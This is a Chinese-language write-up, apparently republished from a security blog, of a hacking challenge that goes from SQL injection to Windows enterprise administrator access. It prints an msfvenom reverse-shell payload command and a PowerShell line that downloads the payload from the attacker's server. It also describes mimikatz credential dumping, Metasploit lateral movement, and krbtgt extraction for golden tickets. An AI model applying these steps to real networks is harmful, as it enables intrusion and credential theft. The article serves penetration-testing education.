滲透挑戰賽:從SQL注入到管理員許可權
在本文中,Sudhanshu Chauhan探索了一條利用SQL注入漏洞獲取Windows企業管理員許可權的開發路徑。讀到這你可能會想Sudhanshu 用的是哪種方法呢?OSINT、弱憑據、密碼破解、不安全配置、跳板攻擊(Pivoting)、繞過殺毒軟體或pwnage。
要說明的是,從SQL注入到管理員許可權是Sudhanshu在參加一個黑客挑戰比賽時的一個項目,而且挑戰的前提是,他只知道攻擊企業的名稱。另外,在比賽的初始階段是禁止進行採用枚舉的,所以一開始只能被動收集信息,其中包括識別客戶擁有的IP範圍,枚舉域和子域,探索github、pastebin和其他消息來源,使用shodan以及其他一些OSINT技術來發現泄漏的敏感信息和服務。
一份資源列表可以根據許多因素進行了編輯和排名,其中包括泄露的證書、過時的軟體、暴露的服務等,Sudhanshu認為透過這些目標會產生很多有用的信息,並確認下一階段的挑戰方案。
當你有代碼執行時,下一步是通過互動式shell實現更好的控制。Sudhanshu處理了多個meterpreter有效載荷,但幾乎都失敗了。當Sudhanshu不斷嘗試使用多個滲透技術(如ICMP tunnelling)時,它通過xp_cmdshell解決了一個互動式ICMP shell,如下所示:
使用新獲得的ICMP外殼,Sudhanshu處理了被破壞的系統,並四處尋找在開發後可以幫助Sudhanshu的任何東西。ICMP的外殼也有點不穩定,不足以解渴Sudhanshu的解渴。
當目標的主機使用Windows框架時,Sudhanshu嘗試得到一個powershell meterpreter有效載荷。它給了Sudhanshu一個shell,但在幾秒鐘內就被檢測到了,連接被終止。通過枚舉,可以確認企業的主機上運行的是什麼殺毒軟體。在幾次試圖繞過安全保護失敗後, Sudhanshu又返回到了主機上的枚舉,並確定安裝了python。然後Sudhanshu通過運行以下命令生成了一個使用msfvenom的python meterpreter有效載荷:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST= LPORT=1234 > pypreter.py
上面的載荷是在Sudhanshu的伺服器上託管的,Sudhanshu會指示受損伺服器從ICMP shell中使用以下Powershell命令下載有效載荷:
powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile( http://:8000/pypreter.py , C:WindowsTemppypreter.py )
Sudhanshu為python載荷啟動了metasploit多處理器,並通過ICMP shell執行了載荷。這給Sudhanshu帶來了想要的meterpreter shell,如下所示:
雖然比Sudhanshu最初的ICMP shell要穩定的多,但大多數meterpreter命令都沒有獲得預期的結果,這是因為python的meterpreter實現的局限性。
從Sudhanshu新獲得的python meterpreter shell中,Sudhanshu繼續進行了進一步的枚舉。基於過去的經驗,Sudhanshu針對網路共享,因為它們通常不包含在殺毒掃描範圍內。幸運的是,Sudhanshu偶然發現了一個這樣的共享,並在那裡刪除了一個Windows非階段性的meterpreter有效載荷。於是,Sudhanshu開始了另一個metasploit的多處理器,用於非階段性的meterpreter有效載荷,執行二進位,並且期望得到一個新的本地meterpreter shell。
一旦你有了一個meterpreter shell,就代表著挑戰即將成功。現在Sudhanshu不再使用哈希,試圖用mimikatz提取明文密碼,提取委託令牌。但結果並不理想,還是沒有發現任何一個明文登錄憑證,因為沒有人用它進行登錄,本地的哈希也沒有在其他地方運行過。
Sudhanshu發現主機有多個網路介面,因此Sudhanshu使用新獲得的meterpreter shell向內部網路添加了一個route命令,route命令如下所示:
route add 10.0.1.0 255.255.252.0 1
在添加了route命令之後,Sudhanshu執行了ARP掃描,並使用一個post exploitation metasploit模塊來識別網路上的當時的連接主機。
然後,Sudhanshu使用auxiliary metasploit模塊對當時連接的主機執行埠掃描,以嘗試識別運行MSSQL的主機,如下所示:
然後,Sudhanshu使用了「auxiliary/scanner/mssql/mssql_login」模塊與資料庫賬號,查看是否有任何賬戶被重用,如下所示:
此時,Sudhanshu發現一個帳戶在另外兩個主機上有效,並具有資料庫管理特權。在『auxiliary/admin/mssql/mssql_exec』 模塊的幫助下, Sudhanshu可以使用這個特權帳戶得到類似系統的meterpreter shell運行。這個主機運行的是Windows Server 2003操作系統。本地的哈希隨後就被清除了,同時Hashcat也會破解了一些本地的賬戶。然後將meterpreter shell被用於轉儲域帳戶哈希,如下所示:
除此之外,mimikatz還被用來從被破壞的盒子里清除清晰的文本密碼,如下圖所示:
經過進一步的枚舉之後,可以確定其中一個用戶屬於「企業管理員」身份,這讓Sudhanshu可以直接訪問域控制器。此時,Sudhanshu進行了大規模開發,並使用這些高許可權憑據,Sudhanshu使用powershell腳本「invoke - massmimikatz.ps1」從所有其他主機中提取出多個明文密碼。
此外,Sudhanshu現在可以在域控制器上執行哈希轉儲,以獲得諸如「krbtgt」之類的高級特權帳戶的哈希。在本文中,Sudhanshu使用了一個名為「dcsync_ntlm」的nifty命令從metasploit kiwi擴展中提取krbtgt帳戶的哈希,如下所示。
然後可以進一步利用這個哈希來創建黃金票證,並在網路上獲得持久性。
這樣挑戰就此結束,回顧一下整個挑戰,從web應用程序漏洞開始,到獲取企業管理員的多個憑據。整個攻擊流程圖如下所示:
所以,對於企業來說,確保網路安全的重要方面就是確保所有系統都創建了完整的庫存,並且對保護措施及時進行升級。
點擊展開全文


※通過DNS控制主機以及執行命令
※通過DNS響應欺騙來繞過域控制驗證
※Bashware攻擊:在Windows系統上運行Linux惡意軟體
※無需Ptrace就能實現Linux進程間代碼注入
※手機中突然多了幾款軟體,你猜是誰幹的?
TAG:嘶吼RoarTalk |